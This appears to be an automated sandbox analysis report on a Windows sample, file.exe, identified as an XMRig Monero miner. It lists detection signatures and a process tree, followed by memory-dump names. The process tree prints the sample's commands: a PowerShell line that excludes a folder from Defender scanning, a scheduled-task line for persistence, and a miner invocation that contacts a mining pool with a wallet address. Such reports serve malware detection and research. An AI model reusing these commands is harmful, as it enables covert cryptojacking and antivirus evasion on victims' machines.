Analysis
- max time kernel
90s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
16/01/2023, 10:48
General
- Target file.exe
- Size 1.6MB
- Sample230116-mv4e3sdg95
- SHA256 c077b97724c3f3ae8f3d7eed5a73bff5ef3d9673e6fec6563fa7a8ae6ab6fc34
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "TSMSOQO" /tr "C:\ProgramData\datajs\TSMSOQO.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1300-158-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1300-171-0x0000026D5F4D0000-0x0000026D5F4F0000-memory.dmp
memory/1300-170-0x0000026D5F4B0000-0x0000026D5F4D0000-memory.dmp
memory/1300-169-0x0000026D5F4D0000-0x0000026D5F4F0000-memory.dmp
memory/1300-168-0x0000026D5F4B0000-0x0000026D5F4D0000-memory.dmp
memory/1300-167-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1300-164-0x0000026D5F470000-0x0000026D5F4B0000-memory.dmp
memory/1300-163-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1300-162-0x0000026D5DA90000-0x0000026D5DAB0000-memory.dmp
memory/1300-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1300-160-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2796-142-0x0000000000920000-0x0000000000B1C000-memory.dmp
memory/2796-141-0x0000000001600000-0x0000000001641000-memory.dmp
memory/2796-134-0x00007FFF4ACA0000-0x00007FFF4AD3E000-memory.dmp
memory/2796-135-0x00007FFF469B0000-0x00007FFF469C2000-memory.dmp
memory/2796-149-0x0000000000920000-0x0000000000B1C000-memory.dmp
memory/2796-150-0x0000000001600000-0x0000000001641000-memory.dmp
memory/2796-151-0x00007FFF2CBB0000-0x00007FFF2D671000-memory.dmp
memory/2796-136-0x00007FFF2CAF0000-0x00007FFF2CBAD000-memory.dmp
memory/2796-137-0x00007FFF4A2A0000-0x00007FFF4A441000-memory.dmp
memory/2796-154-0x00007FFF2B430000-0x00007FFF2B465000-memory.dmp
memory/2796-155-0x00007FFF273B0000-0x00007FFF274B2000-memory.dmp
memory/2796-156-0x00007FFF4A030000-0x00007FFF4A09B000-memory.dmp
memory/2796-157-0x00007FFF47E60000-0x00007FFF47E9B000-memory.dmp
memory/2796-145-0x00007FFF48DE0000-0x00007FFF48E07000-memory.dmp
memory/2796-144-0x00007FFF2AE60000-0x00007FFF2AFAE000-memory.dmp
memory/2796-143-0x00007FFF2CBB0000-0x00007FFF2D671000-memory.dmp
memory/2796-133-0x00007FFF2D680000-0x00007FFF2D72A000-memory.dmp
memory/2796-139-0x0000000000920000-0x0000000000B1C000-memory.dmp
memory/2796-140-0x00007FFF49F00000-0x00007FFF49F2B000-memory.dmp
memory/2796-138-0x00007FFF2CBB0000-0x00007FFF2D671000-memory.dmp
memory/2796-165-0x00007FFF2CBB0000-0x00007FFF2D671000-memory.dmp
memory/2796-166-0x0000000000920000-0x0000000000B1C000-memory.dmp
memory/4796-148-0x00007FFF2CBB0000-0x00007FFF2D671000-memory.dmp
memory/4796-147-0x0000022B9D040000-0x0000022B9D062000-memory.dmp